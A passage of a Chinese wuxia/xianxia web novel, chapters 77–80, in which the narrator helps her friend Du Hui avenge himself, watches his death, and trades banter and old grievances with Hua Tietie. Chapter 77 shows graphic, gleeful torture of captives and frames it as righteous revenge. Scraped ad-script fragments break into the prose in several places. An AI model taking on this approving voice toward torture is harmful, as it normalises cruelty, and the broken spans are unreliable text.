剩下的人,都慌了,脑子转得快的,给我打商量,想用钱赎命,我问多少,他们说愿献上全部家当,这些高手行走江湖多年,是有些积蓄的,可我说赎买的话不能按他们的命计算,得按太子的命算,问他们觉得太子的命值多少钱。他们说自然是无价的,但是此次任务赏金是三十万两黄金。 我瞪大眼睛,不屑的哼了哼,“才三十万两黄金,这么点钱,就想买我家太子的命?!我跟南唐摄政王打商量赎买李大娘子也就这么个价。这幕后的主儿啧啧啧,还是真吝啬啊,三十万两黄金好意思拿出手,别是叫杜威那畜生秘下了吧,真就三十万两?” 得到确定答复,我不禁更加鄙夷,“这幕后是真穷啊,没钱学人家买什么凶杀什么人。行行行行吧,就三十万两黄金吧,谁能拿出来谁走人。”我故作吃了大亏的样子,勉强同意,然后,吊儿郎当道:“拿不出来,就赶紧上路。夕阳无限好,再看一眼趁早上路,一会儿天黑了,黄泉路也不亮堂,再摸不去鬼门关,误了时辰投不了胎,孤魂野鬼喽。”江湖人一辈子飘零,最大的愿望就是混出名堂,死有所依,不再孤苦。倘若死后,还是孤魂野鬼,那这辈子就算白忙活了。 有人小声嘀咕:哎,谁问问,是总共三十万两黄金,还是一人三十万两黄金?问个屁,今儿咱们死定了。不是再问问,万一还能打商量呢?对啊,万一咱们理解错了呢,人凤主就是让咱们大家一起凑个数呢?凑你妈凑,真叫你凑你能凑出来似得,就你这脑子,你死最后吧。来,谁先给我一刀,我谢谢他,来生做牛做马报答他。 “慢慢来,不着急哈!”我扬了扬嗓子,这些人,今天也交代在这里了,早晚的事。此时我更关注河对岸的事态。 杜威他们刚跑到河对岸就被杜晦拦截了,又是绝水,看来他就是个背水一战的命。杜晦把他们用在他身上的残忍手段都一一还了回去,但到底做不到他们那种毫无人性的地步,不肯那般…… 可我不愿意就这么算了,我叫花铁铁帮我守在太子身前,然后飞身过去,站在杜晦身边,抬手将河水掀起,冻成冰幕,阻断河对岸的视线,看着在地上痛苦蠕动的面目全非的杜威和他的同伙,我嗜血地笑着,犹如地狱的鬼魅。 杜晦只是划伤了他们的脸,而我上来就撕扯掉了他们的脸皮,眼球牙齿瞬间暴露……他们痛不欲生,张着空空如也的血盆大口,嘶吼哀鸣着…… 77. 道别 只有把仇人加诸在自己身上的痛苦,一一还回去,同样的经历,仇人越痛苦,自己千疮百孔的内心才越会得到释放舒缓。根本不会存在,又把痛苦都经历了一遍,内心也会备受煎熬,跟着痛苦的可能。 有这种想法的人,都是没经历过的。凡报仇雪恨,过程中都畅快无比,事后或许内心空虚失落,但当时那种舒爽是真真切切的。受了迫害,创伤难愈,生了心魔的人,不再单纯是人,即便还有人性,也所剩不多,仅仅是未死的执念牵挂着内心深处的美好,而残存的灵魂因仇恨,滋养着魔性,日日夜夜。 是人是魔,得看对谁!我根本不怕自己的举动会伤害刺激到杜晦,我看了看杜威他们的下身,又看了看杜晦,示意他赶紧动手,他却迟疑了。 “报仇就是要以牙还牙,少一点儿,仇,都不能算全报完了。仇不尽报,事后想起来会后悔的,你下不去手,我来也是一样的。”我捡起地上的刀,指向杜威的下身,杜威身子立即紧绷起来,恐惧极了,哼哼,他也知道怕啊,也会绝望啊,可当初,做的时候一点也不手软呢。忽然我停住了,把刀一扔。 杜威大概以为,我果然和杜晦一样,下不了手。失去脸皮,没了表情,裸露的眼球转动着,若有似无的神色变幻,竟有些舒展,仿佛松了口气,仿佛蔑视我们到底不够他那般变态,也仿佛在说还是他更胜一筹。 “你美什么?我只是觉得用刀不符合我风格,既然我来动手,那必得叫我尽兴才行。”说着我走到杜威的一个同伙身边,蹲下来,一脸童真的看着他,道:“我下手向来利索,我很快的,啊哈哈哈……”说着我一巴掌拍了下去,一声惨叫,他下身立即一片血污。 下一个,我是给拧碎的,再下一个,我是给踢碎的,再再下一个我是给搅碎的踩碎的……一声一声的惨叫中,终于轮到杜威了。杜威犹如看见地狱的阎罗,他没想到我竟然是真下手。 我笑的人畜无害,将手轻轻地伸过去,“好小啊,别人的和鸡蛋一样,你的……鹌鹑蛋吧。” 他摇着头呜呜的不知在说什么,眼中无尽的悔恨,哀求,和恐惧。 “哦,这么迫不及待?马上……”我呵呵一笑,说着马上,却缓缓捏紧,终于……“啪”折断了一根,他痛的啊啊大叫,扭动着身体,呜呜喊着,然后眼球翻白……竟也晕了过去。 哼,我不高兴了,你得给我醒着,于是我点了几处穴位,把他唤醒,他浑身不住的抽搐着,然后我“啪”碎了一个。他又要晕过去,我自然还是不肯,最后我道:“上天真是仁慈,怎么不叫你多生几个卵子。”说完,我再次缓缓施加压力,不知过了多久,才“啪”的一声碎掉…… 我到河边一边清洗双手,一边看着杜威道:“还得寻一处山崖把你们扔下去,放一些野兽来啃食你们呢,确实是得留下一双眼睛,为的什么你们应该最清楚对吧——活生生看着自己被啃食,啧啧,亏你们想得出来……恶毒!” 我飞身而起,环视了一圈,眺望远方,找寻合适的山崖,杜晦却再也不想继续了,被挑断手筋的大手,轻轻一挥,看似软弱,却威力无比,蓝紫色的火焰瞬间吞没了杜威那些恶棍,不等他们惨叫挣扎,便化成焦炭。我落下来,站在杜晦身边,杜晦又一挥手,他们便随风散了…… 被扯下脸皮,拔了舌头的杜威那会儿呜呜地喊,喊的是爹,于是他还是心软了。也罢,化成灰,从此尘归尘土归土,前尘往事了了。 金木水火土,我是从来不用火的,因为我们的火是内力精髓所化,和寻常的火是不同的,死者太过痛苦,可是用在这些畜生身上,我竟然只是心疼杜晦耗费的内力。 花铁铁嫌那些人太磨叽,我一离开,她便出手都给处理了,我和杜晦穿过冰幕回来的时候,尸体都给守卫们抬到一边摆好了,杜晦看了看,抬手一把火给烧了。我跟花铁铁说,他们墨迹就墨迹呗,早晚是个死,何苦脏了自己的手。还是当着我家太子王爷的面,实在太粗鲁了,以后可不兴这样了哈。说着,抬手一挥,运功吸来河水将地上的血迹冲洗干净。 花铁铁有些羡慕嫉妒恨的看着我们道:“你,你们怎么想出来,都是玄止境,你们怎么想出来用金木水火土的?” “啧,露怯了吧,一看你就是没想到,都升入玄止境了还成天拿着破铜烂铁砍砍杀杀的吧?你看你,杀个人,跟屠夫似的,弄得满地都是,到处血呼啦几的……懂不懂什么是优雅!?”我挖苦着,见花铁铁脸色十分不好,心里便畅快。 这时候,去采买酒水的豆如意和庄助回来了。我借花献佛,抱了一坛子酒,花铁铁端着一摞酒碗跟过来,把酒碗摆好,我小小的身体,抱着大大的坛子,一碗一碗的倒好,让堂邑夫别光顾着跟做内应的小虾米和那几个看热闹的高手叙旧,都请过来喝酒。 我和杜晦都不喝酒,以茶代酒,堂邑夫虽然戒了酒,但这种场合,是一定要陪着大家喝的。杜晦将酒碗一一端给他们,他们恭恭敬敬地接着,他们都知道杜晦受了伤,不能言语,便也红着眼圈,抖着下巴,没说什么,只都猛喝了三碗,再抬眼,大家都泪洒当场。 男儿有泪不轻弹,一切尽在不言中。一阵哒哒的马蹄声,打破沉寂,却见平安背着吉他策马而来,远远便向我招手,堂邑夫忙上前接应,我看着风尘仆仆的她,问她怎么来了。她噘着嘴巴,埋怨说:“从西市出来,遇见豆如意和庄助他们采买酒水,说是捕了一只白鹿要庆贺,我让他们带我一起来看看,他们非是不肯,我就牵了马自己找来了。” 堂邑夫道平安可真是大胆,问她一路上太平吗?她傻傻地道:“太平啊,太平得很,比平时还太平,路上竟然一个人都没有,果然白鹿一出天下太平。”又问我们白鹿呢。可哪里有什么白鹿啊,不过是江湖人的障眼法罢了。 我介绍花铁铁给平安认识,花铁铁自然常常听我说起妹妹平安,如今见了就十分热情,反观平安却有些清冷,只简简单单打了招呼,就退了一小步站在一边小心审视。我和堂邑夫自然明白 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 其中缘由。花铁铁只当小家碧玉,不如江湖儿女豪爽,哈哈一笑。好在平安带着围帽,不然她一定会因为平安的表情闹起来。 我心下有些紧张,便叫平安给我的江湖朋友们唱歌践行。平安欣然答应,我说就唱那首《宿命横着写》吧。我们这些浪迹天涯,漂泊江湖的人,谁的宿命不是横七竖八的呢。然后一首《笑傲江湖》,这首我和堂邑夫都会唱,唱了两段,大家就都会了,最后我们大家一起高歌,一起痛快哭,痛快笑,痛快饮,痛快着痛快…… 花铁铁抱着酒坛子,宣布说她退出江湖了,以后山高路远,再不相见。大家都很吃惊,我也有点吃惊,却也觉得情理之中。江湖豪杰尽凋零,伤感蔓延开来…… 天下没有不散的筵席,江湖人最懂,我们把他们送走,杜晦一个人站在长河落日的尽头,正是火烧云最美的时候,夕阳的光辉,洒在他的身上,他依然那般绝世出尘…… 我知道,他活不了了。我牵着平安上前,对平安道:“记住他的名字叫杜晦,我们是过命的交情,这些日子都是他在暗处保护你,郡主摔车也是他小惩以戒,帮你出气的。”唉,往日的武林盟主,一代大侠,沦落到掺和小儿女家争吵斗狠的小事,给小姑娘出气的境地,真是让人唏嘘,他一定无比悲凉。 平安闻言,行礼道谢,我轻轻运功,将平安的围帽吹起,杜晦深深看着平安,四目相对,平安也惊艳杜晦的容颜,两人皆是惊鸿一瞥……这就够了。 对不起平安,我利用了你,因为我想让他透过你看见我……你的反应很好,我想我若长成了,看见他也应是那般模样的反应吧。我想那一刻,他是幸福的,我们,都是幸福的…… 好一会儿,平安缓过神来,红着脸,抚下围帽的帽帘按在胸口,匆匆胡乱行了一礼,转身慌慌张张地跑开了,小小的背影,有些可爱,杜晦不禁笑了一下,我也笑了一下。 花铁铁走过来,一脸莫名其妙的样子,看着慌张跑远的平安,问我:“你妹妹没事儿吧?” “你才有事。” 杜晦催动内力,用腹语问我:“来生可不可?” 我心下一揪,原本他的声音是很好听的,我仰着头,看着他,笑了笑,然后轻声道:“如果有!” 花铁铁不明所以,站到我二人中间,仰头看了看杜晦,又低头看了看我,问道:“什么?什么有什么,打什么哑谜?” “他要死了,好好道个别吧!”我对花铁铁道。 花铁铁是不能理解的,不是已经报完仇了吗?为什么还要去死。但是并没有多问,只红着眼,有些哽咽,却故作轻松,洒脱道:“我就不哭了,早先听说你的死讯,我已经哭过了。” 杜晦笑了笑,和我们道别,然后他将全身的功力散尽,刹那间风云聚变,电闪雷鸣,地动山摇……原来玄止境的高手寂灭是这种壮观的场景……已经走远的江湖兄弟们,看到这番景象,都心知肚明,纷纷落泪,甚至跪地哭泣,朝着那个方向拜了又拜…… 78. 谣言 杜晦,死了,真的,死了……一个时代结束了…… 看着杜晦刚才站着的地方,空空如也,花铁铁的心都快要疼死了,还以为已经接受过一次,这次会好些呢,没想到,更加难受,比头一次难受一千倍一万倍,她下巴不住的颤抖,仰着头不住地眨巴眼睛,不住的吸着鼻子,然后偷偷深呼吸。 最后无计可施地咬着牙关,努力克制。说好不哭就不哭,她就不相信,自己克制不住,她跟自己较劲儿,许久才幽幽地问道:“为什么啊?” 我长长的叹了口气,说那副身躯已经成了禁锢他灵魂的地狱,那地狱不仅仅十八层,一百八十层,而是无数层,无边无尽,日日夜夜,摧残煎熬,他没办法活了,他活不了了,作为朋友,咱们,要,要许他解脱,许他自由。我们是他最好最知心的朋友,我们懂他,没有用不舍继续困住他,终究没枉费他对我们的一片真心和赤诚。作为朋友,咱们配得上他对咱们的好了,这就够了。 “是,咱们配得上,可是我这个心啊,疼死了,你说你们一个个的说死就死,还特么一堆道理堵我的嘴,我就得通情达理,一个‘不’字也不能说,要不就是不懂,不配……疼死我了,我特么都要难受死了,就换一个‘配’字啊?你还死吗?!要死赶紧的,老娘今儿一起疼完。”花铁铁还是哭了。 “闭上你的乌鸦嘴吧。”我斜眼嫌弃的看着她道:“我从来就没死过好不好?”花铁铁不仅没有因为我的嫌弃,而恼怒,反而像是得到承诺一般,“那咱们就说好了哈,你要是敢先死一步,我就和你绝交。” 早知道你这么晦气,现在绝交行不行?我自然是不敢说出来的。 夕阳西下,断肠人在天涯。我们打算在一处平岗上晚宴,众人忙碌着。我将花铁铁引荐给太子,花铁铁为人豪爽,向来不拘小节,做不来那些繁文缛节的礼仪,好在太子殿下也不在意这些细枝末节。 堂邑夫假装很忙碌的样子,跟卫士们一同架起篝火,迟迟不肯入席坐到我身边来。平安正在不远处教秦王用吉他弹奏《东风破阵曲》…… 晚膳还未开席,太子殿下赏了我一碟点心,我端到末席坐定,鼓着肉嘟嘟的小脸,吃得香甜。花铁铁凑过来道:“你吃的什么啊?” 我愣了一下,拍了拍手上的点心碎屑,眼睛一转,随即笑呵呵的拿起一块儿糕点喂给她,她一口吃下,然后捂着嘴巴,边吃边哈哈笑起来,有些不好意思的解释,可嘴上说着她不是这个意思,脸上却分明就是这个意思,掩饰都掩饰不住,她开怀地笑着,实在喜欢我的聪慧灵透。 我呵呵笑道:“哎呀,你不用说,我都懂你。” 花铁铁笑得更加开怀了,爽朗的笑声传遍山岗。“哎,你给我当闺……儿子吧。” 我现在是男童装扮,花铁铁自然知道我在隐藏女儿身,但还是差点说漏了嘴。只是这个断句,我听了气不打一处来,“多少让我当儿子我都不愿意,你还让我给你龟儿子?!” 花铁铁闻言更笑得不行,嘴里的糕点渣渣,喷的到处是,断断续续连狡辩的话都说不顺畅,最后只能捂着肚子,伏案抽搐。许久许久,才好了一些,却忽然伤感起来,捏了捏我的小脸蛋,叹气道:“唉,你说天赋这东西也分层次哈,我就够有天赋了对吧,可是遇见你以后,我怎么就感觉老也使不上劲儿呢?原先,我就觉得,觉得这世间怎么会有你这样的人呢,我羡慕啊嫉妒啊恨啊,但是一看见你,就喜欢,就开心的不行,闹起来又怪烦人的,和你打完了又输,又气死了,发誓下次见到你,一定打趴你。结果总也打不赢……” “……后来有幸见了你师父一次,回来我恍然大悟,噢,原来这些年我根本就不是和凡人打架,你分明就是修仙的,我跟个小地仙儿打呢,那我哪能打得过?我心里突然就释怀了,可是转头一想,不行,我也不比你差,你能修仙,我为啥不能,我也得修仙,所以那年我回南唐以后,你再叫我来北汉,我总是推脱,还说自己有心上人了,为情所困,脱不开身云云,其实我机缘之下……我一点儿一点儿收集典籍去了,开始慢慢涉略修仙,一心钻研,有一阵儿我都魔怔了,可是对修仙真了解了以后,我又发现我还是和凡人在打架,你根本就没修仙。” 我递给花铁铁一块儿点心,鼓着腮帮子,喝着茶水,茶水一浸,糕点更甜些,也给花铁铁也倒了一杯茶,耐心听她絮叨完,对她的话,我自然有一番思量,却不深抠细节,道:“别执着这个,那些修仙的比咱们还有天赋吧,可是得道成仙上天了又能怎样,不过是十万天兵里的一个,好一点的给天神守个门,看个炼丹炉,端个琉璃盏的,也就到头儿了。” 花铁铁将我嘴角的糕点渣滓擦掉,问道:“长安,你有那么个师父,你怎么不修仙啊,你怕去守门儿,看炉子?” 真是让人头疼,花铁铁的关注点,总是那么跑偏,她不是个笨人,以至于我总觉得她故意的。跑江湖多年,心得体会也很多,其中一项就是:如果你觉得一个人是故意的,那么多半她就是故意的。 我立马黑了脸,“滚,你怎么不去看门儿,烧炉子。你才是看门儿,烧炉子那块料儿。”随后缓和语气道:“你也不看看我这副身子,我才不想修仙,我不要活在这样的身子里长生不老,我想早死早投胎,但是身体发肤受之父母,我师父也不许我随意伤害自身,还叮嘱我要好好活着,所以我才不自杀的,要不早就十八年后又是一条好汉了。” 花铁铁一拍桌子道:“对啊,你看你,这么些年,真是一点没变,你这是咋了?侏儒啦?” 花铁铁这个人说话也就这样了,这么多年了,要是我还受不住,倒是我的错了,我一边扯了扯领口给她看,一边道:“侏儒是单纯不长个,我是不发育。”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 花铁铁不仅伸脖子过来看,还伸手将我的领口又扯了扯,细细看,“啧,还真是,米粒儿似的,和小时候一样,真一点没长啊!?” 我转过身不理她,整理好衣服,继续吃着糕点。花铁铁果然是花铁铁,立马给我“锦上添花”,大剌剌地兴奋道:“哎哎哎,上郡御隆山庄那案子,做得真是漂亮啊,诛灭全族,干净利落,江湖上都炸了,杜晦还夸你呢,写信邀我来北汉,一同给你庆功……” “……”我看了看太子那边,心虚的不行,只觉得额角的汗涔涔的流。得亏花铁铁还知道压低声音,不然太子那边我怎么圆啊。 “可是立马就传来你的死讯,哎哎哎,你知道他们怎么传的吗?”花铁铁自顾自说着。 “不想知道,你别说……”我很少紧张,所以乍一紧张感觉心中空白,手脚冰凉,脑子动作都慢得不行,根本阻止不了花铁铁。 花铁铁抓住我要捂住她嘴巴的小手,瞪着大眼睛,大咧咧地道:“说你去勾搭上郡太守家的二爷,给人二爷祸祸的不成样子,疯魔了都,叫人他爹知道了,杀小鸡儿似得揪出去,一刀砍死了……” “……”我特么果然人走茶凉,当初我坐镇江湖,谁敢这么编排我! “我和杜晦都不信的,想要启程去上郡,活要见人,死要把尸体拿回来。可是传言说你给人太守砍稀碎了,尸首都没了,我们……”花铁铁见我不语,越说越起劲,情绪饱满极了。尤其说到我给人太守砍碎了的时候,好像我现在囫囵个儿坐在她身边儿,都有些对不住她彼时那般震惊的情绪。她的气愤也不是因为她的至交——我被人编排得不成样子,而是她竟然真给骗了。 人太守是剁馅子包饺子吗?还砍稀碎?!“……这话你们是怎么信的,哎,就前面的合不合理先暂且不论,就单说我给太守一刀砍碎了尸骨无存,你们是怎么信的?”我真是疑惑的不行,这俩好歹是江湖智力和实力的代表,他们到底是怎么相信这么邪乎这么毫无逻辑的传言的? “要搁别人砍你我们肯定不信,可那可是上郡太守李远好不好,人他爹是谁?他爹那是北汉太祖皇帝手下第一神将李信啊,天纵奇才,千年一遇的武学奇才,武功盖世无双,那李信的青龙偃月刀——神兵利器,闻名天下,虎父无犬子,李远将军的名声天下谁人不知谁人不晓,你给他家一刀干死了,干得稀碎,合情合理啊,怎么不信啊?” 我下巴颤了颤,许久才说出话来,道:“……杜晦怎么夸我的?” “……嗯?”花铁铁一时卡壳,顿住了,那表情,仿佛还有千言有万语,等着说,我却跑偏了关注点。 “哦,你说的理由……说服了我,我也信了,我现在就想知道杜晦怎么夸我的。”杜晦天天夸我的话不离嘴,花铁铁耳朵都听的起茧子了,一耳朵进一耳朵出的,她能记住的话,一定很特别。 79. 大白 花铁铁挑了挑眉,学着杜晦的神态和语气,缓缓道:“天不生长安,万古如长夜。” 花铁铁说完一脸期待,看着我,仿佛在问:怎么样,得到这种评价开心吧? “……不是,就算李远将军是有那个实力能一刀劈死我,可他劈死我的那个理由,你们是怎么相信的?”我粗着眉头问。 “……”花铁铁没等到期待中我对赞词的惊艳,反而是质问,再次卡壳,随即被我牵着鼻子走,回答道:“不信不行啊,李家二爷给你立的衣冠冢到现在还在上郡杵着呢?年年供奉,上年我还去偷偷祭拜过呢,对你我可怪舍得哈,那些个香钱纸钱……算了,别还了,不大吉利。我可没瞎说哈,谁好人闲着没事立衣冠冢啊,你和他要没点啥,谁信啊?哟啧啧啧,痴情得哟……” 篝火燊起来了,火光下我的脸色十分难看,小牙咬得咯咯作响,花铁铁只顾着说,生怕我转移话题,忽然看着我的小身量,疑惑着犹豫道:“哎,不对啊,那时候你十四,要是长开了,还说得过去,你这幅样子……” “对吧,怎么可能,那……”江湖传言都是胡说,我话还没说完,就见花铁铁神色大变,像是发现了什么不可告人的世家辛密,捂着嘴巴倒吸着凉气,探头过来向我确定:“那二爷别是个变态吧,喜欢娈童啊?!” “滚!”我简直要气爆炸了,噌的一下站起身来,要破口大骂,却还是稳了稳怒气,低声道:“我去,哎,花铁铁,哎哟我的天爷啊,我算是整明白了,那些刺客不是敌人,你才是吧!” 花铁铁被我吓了一跳,以为我要动手了,做好了防御招式,却见我只是阴阳她,便松懈下来,软软地道:“我咋啦,你往事龌龊不可追,还不许我提啊?” “你才往事龌龊,有你这样的吗,谁当着人面造谣啊?”我坐下身来,心里还是气得不行,就推了推她。 越推,花铁铁越往我身上倚,还一把把我搂在怀里,扭了扭我的小脸蛋,坏坏的笑道:“谁造谣啊,谁造谣?我就是个传话的,如果传言不属实,我也就是个蒙在鼓里传谣的,我有罪,但我也是受害者,我因此犯了口业,阎王爷那里也是要判罪的,地狱官司走一遭,舌头也得上烙铁,我受到的伤害比谣言本谣还要大,我找谁诉苦讨说法去。你说的哈,这话你说的哈。” “……”我一时无语反驳,这条说辞大概以后还会用,不能再来一套说辞推翻,不然“矛”“盾”都递到花铁铁手上了,更便宜了她。 “能传出谣来,那也多半不清白,衣冠冢是真的吧,啧啧啧,那二爷得生的多人样啊,你眼光多高啊,你多爱惜羽毛啊。”花铁铁的声音不大,却也不小,我听着震耳欲聋,如鲠在喉,如坐针毡,如芒在背。 “……”我能说什么?师父说,越不想听一个人说话,就越不要反驳她。 花铁铁见我不说话,继续道:“哟,这么些年啊,头一次,你还有哑口的时候啊。啊哈哈哈……哎?那李将军一家子都在长安,你们没再见啊?没再续个前缘啥的?” “……”我挣不开她的怀抱,扭过头去,不理她,她一手抱着我,一手将我脸抚过来,我拗不过她,就噘着嘴巴,瞪她。她哈哈大笑着,在我脸上狠狠亲了一口,又忽然想到了什么,一把放开我,问道:“你这小脸蛋……给谁亲过没?” 我一个没坐稳,差点摔个狗吃屎,我自然知道她说的“谁”指的是谁,心头又是气恼,一边坐正,一边赶紧回复:“没有,除了我妹妹……”却见花铁铁在用力的擦着她的嘴巴,我顿时又气愤又恼羞,草,敢嫌我脏?那别亲我啊?我还嫌你脏呢。于是也用力的擦她刚才亲过的地方。 干擦擦得有点疼,脸蛋子火辣辣的,于是把不远处实在没事可干的堂邑夫叫过来,让他给我打水,多拿点皂角粉,我声势浩大的洗脸,额鬓的碎发湿哒哒的贴在脸上,脖子前胸和袖子也都湿了一大片。 刚洗完擦了把脸,不等我显摆,花铁铁这厮“唰”的一下,又抱着我亲了一口,然后大笑着,又擦了擦嘴巴。我简直气死了,背过身去,仰头大哭!堂邑夫拿着毛巾给我擦眼泪。 “啊哈哈哈哈……嗯?”花铁铁大笑,忽然像是发现了什么,仔细看了看我耳后,“你说你,你还真是……你是怎么想出来的,点那儿?”花铁铁一副不服不行,服又心堵的样子。“要不你是凤主呢,哎我说,那东西你点那儿啊,啧,我咋就没想到呢?” “……什么?”我终于还是没忍住,抹了把眼泪,转过头看向她。 花铁铁一把夺过堂邑夫手中的毛巾,给我细细的擦,眼泪鼻涕都擦得干干净净,然后把毛巾往水盆里一扔,撩起袖子,露出半截藕臂,道:“这个啊。” “什么?大红点子?这么大个儿痦子。”端着水盆要走的堂邑夫伸头过来,一脸茫然。 “滚!”花铁铁没给他好脸色。“哎好唻!”堂邑夫吓得赶紧离开了。这厮还真是……小的时候初生牛犊不畏虎,就算打不过花铁铁,看见花铁铁占了上风,也会帮我,就算被花铁铁胖揍,也会守在我身边的,这可好,可长进了,人家一个“滚”,他就真滚了。看着花铁铁的手臂,红点点在火光的照射下更加鲜艳,我眼下预感不好,无心也分不出精力管他。 花铁铁指了指她的守宫砂,又看了看我,见我也是一脸茫然,忽然恍然大悟一般,然后幸灾乐祸的开怀大笑起来,“啊哈哈哈哈……你也有今天啊,啊哈哈哈,一天天就属你心眼子多,常在河边儿走,哪有不湿鞋啊?这是给谁算计了,都给人算计成这样了,还啥也不知道啊,啊哈哈哈,还天天给人当儿子,这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下龟儿子也没得当啊,你呀——早暴露了,啊哈哈哈,笑死我了笑死我了,你也有今天啊,啊哈哈哈……你身边这些人,皇亲贵胄,世家功勋,天子脚下哪有一般人啊,我就说这些人,有一个算一个,都一包心眼子,不比你少,你玩得开心,人陪你玩得更开心,哎哟,哎哟,团团转啊你,哎哟笑得肚子疼,我就说还是江湖好混,跟他们玩儿,咱哪是个儿啊,哎哟……” 听到早露馅了,我心里就一揪,看着笑得人仰马翻的花铁铁,我摸着耳后,忽然惊觉,将银盘子里最后一个糕点塞进花铁铁嘴巴里,“怎么不笑死你。”然后赶紧拿着银盘梗着脖子,翻转耳朵照了照,我草,一个大红点子简直要刺瞎我,这是…… 韩燕熙……那天还有……我瞬间要爆炸了一般,却见太子殿下和亲王们入席,惠王走过来,坐在我临席上座,见我有些不高兴的样子看着他,一脸疑惑。我侧头翻了翻耳朵,给他看我耳后的守宫砂,颇有质问之意的瞪着他。 惠王微微红了脸,正视前方,咬了咬牙,才低声温柔道:“那日韩燕熙也是贪玩,事已至此,我们也无能为力,心中很是愧疚,殿下和我只道以后将你做小弟弟小妹妹疼着宠着也是一样的。你放心,其他人是不知道的。” 我闻言脸色舒缓,心中竟隐隐生出暖意,看了看上席邀众人举杯同饮的太子殿下,转头跟花铁铁说:“这事儿,我认栽了。” 见我低头了,宴席上人也聚全了,花铁铁不再继续话题,只畅快极了的样子,挑了挑眉,“放心,我有数。”这么多年的默契,花铁铁知道往后怎么配合。 江湖人吃饭是很速度的,贵人们还在畅饮,我和花铁铁就到河边遛食儿,“咱们搁这儿等什么呢,叫他们赶紧吃完,咱们撤吧。” “撤?那可不能,我们得等,得看看是谁来接我们。”我抬头看着浩瀚无垠的星空,道:“不着急不着急,瞧这星河多美。咋地?”花铁铁虽然性子急,但也不是喜欢催促的主儿,必定是有啥着急干的事儿。 “没咋地,就是想找个地方洗洗,一身臭汗。”花铁铁闻了闻自己,觉得味儿不大,只是身上衣服潮热,黏黏糊糊的实在难受,随即洒脱道:“既然一时半会儿不走,我先下河洗个澡。”说着就作势脱衣服,往河里走。 “哎哎哎,别那么奔放,回头这儿的事儿了了,我带你去个好地方,你洗个够。”我拉着她道:“马上,堂邑夫马上就回来了。我先教你一句口诀,你把衣服震干,然后周身运气,就不受四时冷暖左右了。” 周身运气,不仅可以让身体摆脱气候的影响,还可以让内力一日十二个时辰,在全身筋脉中运转,无形之中维‘稳内力。花铁铁又是一惊,她一直以为玄止境是武学内力的一个等级而已,实在没想到,原来玄止境别有天地。 80. 破案 花铁铁按照我的口诀运气,果然身心气爽,体验不同,又是一番感叹:都是玄止境,区别怎么就这么大呢?!她怎么就没想到呢?!她真是无论如何也想不到,玄止境还能这样!!! 花铁铁开心的抱着我又想亲我,我及时挡住,她觉得扫兴,就一把放开我,四顾道:“噢,你说那臭小子去办事儿去了?我说怎么没瞧见那个臭小子呢,干什么去了?”她口中的臭小子就是堂邑夫。 我是极其护短的,啧了一声,蹙眉道:“别老臭小子臭小子的叫他,说实话这些年没见,他是不是长高了,壮实了,还更帅气了?” “没有吧,倒是比以前更骚气了,打个架,还整个金面具,花里胡哨的招式整那么多,开屏的孔雀也没他那么骚。”花铁铁嗤鼻。 我心中闹疑惑,“我想着以前你们挺好的啊,虽然打打闹闹的,咱俩不也这样吗?怎么也是久别重逢,你做什么那么烦他,我看他好像也不大对,老躲着你,这么多年没见了,他的性格应该上来给你一个大拥抱的。” “那我能一巴掌拍死他!”花铁铁听了我的话,仿佛已经给堂邑夫拥抱了,满脸厌恶,恨不得现在就给堂邑夫一巴掌。 “你和他,到底咋了?” 我和花铁铁一边说着话,一边回到营地。上位者们已经结束晚膳。远处传来哒哒的马蹄声…… “……就有一阵儿他跟着我做任务还债……”花铁铁支支吾吾的说着。看样子他们确实发生了一些事情。 几年前,堂邑夫不小心坏了花铁铁门里的一单任务,任务酬金数额巨大,花铁铁看在情分上,就免了她自己的那一份儿,但是她门众的必须还。堂邑夫掏空家底也只还了一些,还不够,堂邑夫是有担当的男人,钱上的事儿不让人帮的,于是堂邑夫那段时间就跟随花铁铁一起做任务还债,这事儿我知道,堂邑夫什么脏活累活,难活险活都干,怎么就得罪你了? 花铁铁啐了一口,看着远处骑着马渐行渐近的堂邑夫,握紧拳头,气愤道:“我特么一心带着他做任务,他,他特么一心想睡我……” 她说完这话,我觉得周遭瞬间安静下来,连空气都冷了。 “破案了破案了,终于破案了!!!”我眼前瞬间浮现当年堂邑夫重伤,被人砍成血人的画面,顿时炸毛:“然后在西川的时候,你就故意留他一人断后,你特么也太狠了,他差点死那儿,他都被砍得不成样子了……” “我不把他救回来了吗,最后!?”花铁铁吼道。 我草,你几乎“救”了个尸体回来,扔给我的时候,我都寻思着要选什么品相的板料打什么样式的棺材了,幸亏我师父那时候还在。换句话说,我大螳螂还活着,是我师父的功,跟你花铁铁关系不大。而且说到底,堂邑夫那个样子,根源在你好不好,要不是你故意针对他,他哪能孤身犯险,陷入死局,也用不着你去救好吧?!这点逻辑道理,我还得怎么跟你捋? “他差点死了,我师父用内力生生给他救回来的,我师父下山后,我又用内力给他续命,耗尽了多少灵丹妙药,养了一年多,不然上郡做任务之前,我就玄止境了,哪能让你抢了先。”对于花铁铁提前升入玄止境,我是有些不服输的。 花铁铁当时也以为堂邑夫没救了,看到我师父用内力保下了堂邑夫,她便逃也似的离开了,然后窝在南边就怎么也不来北边了。再来北边儿,怕是我“死”了以后。反正我们就再也没见过,哦,她倒是和堂邑夫还见过一面,就是她来信向我要救她情郎的药,堂邑夫给她送药那一次。关于那个所谓的情郎——柳花郎,哼哼,花铁铁我看你到底什么时候和我说。 “是是是,那不他没还上的债,我给还了吗,还要我怎样?”花铁铁一副我已经仁至义尽了的样子,水汪汪的大眼睛会说话一样:谁叫他有了不该有的心思,我只是想捉弄他,给他点教训,谁料玩笑开大发了,我也不知道对手追兵这么顽强这么死缠烂打,你家大螳螂这么不经打。 我看了看艳丽动人的花铁铁,哼了一声道:“男人到底是毁在一个色字上,他伤得那么重,要不是我师父,这世上就没他了。隆御山庄那么难打,我都没舍得让他打前锋,就干些传传话跑跑腿的事,要不也不至于谋划了那么久,得亏是成功了,不然我做鬼也不放过你。”折了堂邑夫就等于断了我一臂。但任务拖了那么久,归根到底是因为那时候我忽然想和某人待久一点,毕竟我们江湖人和世俗里的人一分开,转身就是一辈子。现在,我也是世俗人了,花铁铁……一想到我们总要分别,我心里不禁伤感。 